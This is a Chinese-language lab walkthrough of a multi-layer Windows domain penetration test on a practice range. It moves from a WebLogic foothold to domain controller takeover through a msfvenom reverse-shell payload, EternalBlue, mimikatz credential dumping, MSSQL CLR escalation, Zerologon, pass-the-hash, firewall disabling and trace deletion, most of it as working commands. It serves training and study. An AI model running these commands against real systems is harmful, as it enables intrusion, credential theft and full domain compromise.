MSF多层内网渗透全过程

2022-09-22 19:44:57 浏览数 (1)

前言

本次多层网络域渗透项目旨在模拟渗透测试人员在授权的情况下对目标进行渗透测试, 从外网打点到内网横向渗透, 最终获取整个内网权限的过程.

环境搭建

靶场下载地址:

代码语言:javascript复制
https://pan.baidu.com/s/1DOaDrsDsB2aW0sHSO_-fZQ
提取码: vbi2

靶场网络拓扑图为:

各靶机信息:

代码语言:javascript复制
域控: Windows Server 2008   IIS   Exchange 2013 邮件服务
目录还原密码: redteam!@#45
主机名: owa
域管理员: administrator:Admin12345!


域内服务器Mssql: Windows Server 2008   SQL Server 2008 (被配置了非约束委派)
主机名: sqlserver-2008
本地管理员:Administrator:Admin12345
域账户: redteamsqlserver:Server12345 (被配置了约束委派)
Mssql: sa:sa


域内个人PC: Windows 7
主机名: work-7
本地管理员:john: admin!@#45
域账户: redteamsaul:admin!@#45

单机服务器: Windows server r2   weblogic
主机名: weblogic
本地管理员:Administrator:Admin12345
weblogic : weblogic: weblogic123(访问 http://ip:7001)
weblogic 安装目录: C:OracleMiddlewareOracle_Homeuser_projectsdomainsbase_domain(手动运行下 startWebLogic.cmd)


其他域用户: 
域服务账户: redteamsqlserver:Server12345 (被配置了约束委派)
邮件用户: redteammail:admin!@#45
加域账户: redteamadduser:Add12345
redteamsaulgoodman:Saul12345 (被配置了非约束委派)
redteamgu:Gu12345
redteamapt404:Apt12345

开启Windows Server 2012 R2后, 在C:OracleMiddlewareOracle_Homeuser_projectsdomainsbase_domain目录下双击startWebLogic.cmd启动weblogic.

渗透测试

单机服务器

假定我们已经拿到了靶标IP: 192.168.10.22. 利用Nmap对靶标进行简易的扫描: nmap.exe -p1-65535 -Pn -A -T4 192.168.10.22.

根据扫描结果发现7001端口存在Oracle WebLogic, 扫一梭子看看有没有漏洞, 从扫描结果来看还是存在挺多漏洞的.

直接上工具开打, 发现是administrator的权限, 直接注入内存马, 冰蝎上线.

域内个人 PC

当拿下DMZ区域的机器后, 除了权限维持和权限提升, 对于横向渗透通常分一下两个方面:

  • 判断机器是否为多网卡机器, 然后扫描其他网段, 来发现更多存在漏洞的机器;
  • 尽量收集机器上面的敏感信息, 比如敏感内部文件、账号密码本等, 帮助后面快速突破防线.

由于我们拿下的机器已经是administrator权限, 直接进行信息搜集即可, tasklist查看进程发现不存在杀软.

利用msfvenom生成一个payload: msfvenom.bat -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.10.9 LPORT=7777 -f exe > shell.exe, 上传到靶机后, MSF上线.

抓一下密码:

  • 抓取自动登录的密码: run windows/gather/credentials/windows_autologin.
  • 导出密码哈希: hashdump.

拿到Administrator的密码Admin12345, 同时查询域信息: net view /domain, 发现该机器并不在域内.

查询网络信息发现是双网卡, 利用fscan扫描一下网段: fscan64.exe -h 10.10.20.0/24 > result.txt, 发现网段内存在新的机器10.10.20.7, 445端口是开放的, 疑似存在MS17-010漏洞.

添加路由, 扫描一下MS17-010.

代码语言:javascript复制
run get_local_subnets
run autoroute -s 10.10.20.0/24
run autoroute -p

search ms17-010
use 3
set rhost 10.10.20.7
run

发现的确存在MS17-010, 利用exploit/windows/smb/ms17_010_eternalblue进行攻击, 成功拿下该机器.

代码语言:javascript复制
search ms17-010
use 0
set payload windows/x64/meterpreter/bind_tcp
set lport 11111
run

先查看一下权限, 发现直接就是system权限, 也不需要进行提权的操作, 用mimikatz抓一下密码, 发现该主机在域环境redteam.red内, 并且拿到一组域账户的用户名和密码: saul:admin!@#45.

代码语言:javascript复制
load mimikatz
creds_all

用其他的方式继续抓一下密码, 成功拿到一组本地用户的用户名及密码: john:admin!@#45.

代码语言:javascript复制
hashdump
run windows/gather/smart_hashdump
run windows/gather/credentials/windows_autologin

域内服务器 Mssql

查看网段发现新网段, 继续添加路由.

上传一个fscan, 扫描一下网段, 发现存在一台Windows Server 2008 R2机器: 10.10.10.18, 开放了1433端口, 并且获得一组弱口令: sa:sa.

MSF配合Proxifier开启socks代理隧道, 利用SharpSQLTools执行命令, 发现是10.10.10.18机器是一个低权限的账号network service.

参考MSSQL 利用 CLR 技术执行系统命令中的方法, 进行clr提权, 成功提权到system权限.

代码语言:javascript复制
SharpSQLTools.exe 10.10.10.18 sa sa master install_clr
SharpSQLTools.exe 10.10.10.18 sa sa master enable_clr
SharpSQLTools.exe 10.10.10.18 sa sa master clr_efspotato whoami

利用exploit/windows/mssql/mssql_clr_payload模块, 先用低权限账号上线, 接着上传木马, 利用SharpSQLTools运行得到高权限.

接着使用mimikatz抓取一下凭证, 得到两个用户的用户名和密码: Administrator:Admin12345, sqlserver:Server12345.

域控

由于不存在新的网段了, 在前面fscan的扫描结果中还存在一个10.10.10.8的地址, 不出意外该地址的机器就是域控了, 下面看看该如何拿下该台机子.

先确定一下该台机器是否是域控制器, 常见的方法有:

  • 扫描内网中同时开放38953端口的机器.
  • 查看域控制器组: net group "domain controllers" /domain.
  • 查看域控的机器名: nslookup redteam.red; nslookup -type=SRV _ldap._tcp.
  • 查看域控当前时间: net time /domain.

确定该台机器是域控制器后, 根据其版本信息尝试用Netlogon特权提升漏洞CVE-2020-1472进行攻击, 详细内容见内网渗透-账号提权.

在验证存在Netlogon特权提升漏洞后, 先重置一下域账号, 置空密码: python cve-2020-1472-exploit.py OWA 10.10.10.8.

接着读取域控中的hash: python secretsdump.py redteam.red/OWA$@10.10.10.8 -just-dc -no-pass.

获取到的hash后利用impacket中的wmiexec.py脚本进行登录, 成功拿到shell: python wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:028b70314013e1372797cff51298880e redteam.red/administrator@10.10.10.8 -codec gbk.

此时, 成功获取到了域控的shell. 但是这个shell并不是稳定的, 真实环境中我们还需要进一步进行权限维持的操作, 在得到hash之后, 先利用前面获取到的shell关闭一下防火墙: netsh advfirewall set allprofiles state off, 接着便可以使用PSEXEC模块上线MSF并进行后续的操作了.

代码语言:javascript复制
use exploit/windows/smb/psexec
set SMBUser administrator
set SMBPass aad3b435b51404eeaad3b435b51404ee:028b70314013e1372797cff51298880e
set payload windows/x64/meterpreter/bind_tcp
set rhost 10.10.10.8
set lport 4446
run

需要注意的是, 在做完权限维持后要及时恢复域控的密码, 不然域控会脱域.

我们先导出SAM中原来的hash, 利用MSFshell下载下来并及时删除, 清理痕迹.

代码语言:javascript复制
reg save HKLMSYSTEM system.save
reg save HKLMSAM sam.save
reg save HKLMSECURITY security.save

download C:\sam.save C:\Users\95235\Desktop\sam.save
download C:\security.save C:\Users\95235\Desktop\security.save
download C:\system.save C:\Users\95235\Desktop\system.save

del /f sam.save
del /f system.save
del /f security.save

接着利用脚本secretsdump.py查看一下域控的hash: python secretsdump.py -sam sam.save -system system.save -security security.save LOCAL.

利用脚本reinstall_original_pw.py恢复hash: python reinstall_original_pw.py OWA 10.10.10.8 f4044edaafbdca41a6e53d234c14ab9a.

最后利用空密码再次进行连接来验证是否恢复成功: python secretsdump.py redteam.red/OWA$@10.10.10.8 -just-dc -no-pass.

效果图

总结

由于打过几次线下的CFS靶场, 使用CS感觉不佳, 本次打靶过程中就只使用了MSF, 正好锻炼一下自己对于MSF各功能的使用, 打靶过程中的收获还是挺大的. 靶机附件里面也给出了一个靶场存在漏洞的说明, 感兴趣的师傅们也可以根据漏洞说明尝试一下其他的打法.

对于靶机要说明的就是网盘里面分享的是一个完整的压缩包然后从中间直接拆分出来的两个数据块, 使用的时候合并起来就行. 另一个sqlserver-2008那台机器的Sql Server 2008好像过期了, 我是用命令行直接开启的: net start mssqlserver.

0 人点赞